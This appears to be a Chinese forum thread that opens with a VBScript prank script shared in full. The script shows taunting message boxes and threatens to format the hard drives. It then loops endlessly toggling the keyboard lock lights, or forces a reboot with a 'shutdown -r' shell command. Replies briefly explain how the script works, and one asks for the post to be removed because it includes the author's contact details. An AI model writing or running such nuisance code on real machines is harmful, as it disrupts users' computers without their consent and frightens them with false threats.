on error resume next DOmsgbox "嗨！！！！",64,"^_^"msgbox "嗨！我是___无名6",64,"ψ(╰_╯)"msgbox "我的QQ.307213992,64,"^_^"msgbox "选错一个都有可能会重启哦！",64,"^_^"msgbox "你是谁？为什么你家有这么多病毒？",64,"(∵)？"msgbox "让我玩玩你的电脑吧~~~",64,"o(∩_∩)o "msgbox "我来帮你杀毒~~~~",64,"^_^"msgbox "说实话我不想帮你",64,"(*^__^*) 嘻嘻"msgbox "还是；来捣乱吧",64,"^_^"msgbox "首先接我的第一招~~",64,"V.S"intAnswer = msgbox ("如果没有我将让你的电脑无休止的重起",vbYesNo,"^_^")If intAnswer = vbYes ThenYONG=Msgbox ("很好那么请你让我知道，如果你不能让我知道你输，我将对所有硬盘进行格式化。嘿嘿！",vbYesNo,"^_^")msgbox "抱歉 你不能出招...",64,"V.S"If YONG = vbNo Thenmsgbox "哈哈就让键盘灯一直闪吧",64,"^_^"msgbox chr(13) + chr(13) + chr(13) + "作者：Ｔａｏ-"msgbox "本人Ｑｑ３０７２１３９９２",64,"^_^"DIM iWhile(1)For i=1 To 10nextset WshShell=createObject("Wscript.Shell")WshShell.SendKeys"{CAPSLOCK}"WSCRIPT.SLEEP 100 WshShell.SendKeys"{SCROllLOCK}"WSCRIPT.SLEEP 100 WshShell.SendKeys"{NUMLOCK}"WSCRIPT.SLEEP 100 WendElseEnd IfElse set TUYONG=wscript.createobject("wscript.shell")TUYONG.run ("shutdown -r -t 1800 -c &小样你输啦~~~哈哈，关机了！！！！&"),,trueEnd IfLOOP

不能沉啊，我想问问执行自动重启的那一段代码是如何实现的，

出错忽略并继续
之后弹出一大堆提示框,大致是要破坏你的电脑
之后执行Shell指令,让你的电脑重启
就这样

能麻烦你帮我把这个帖子删了吗 留的是我的信息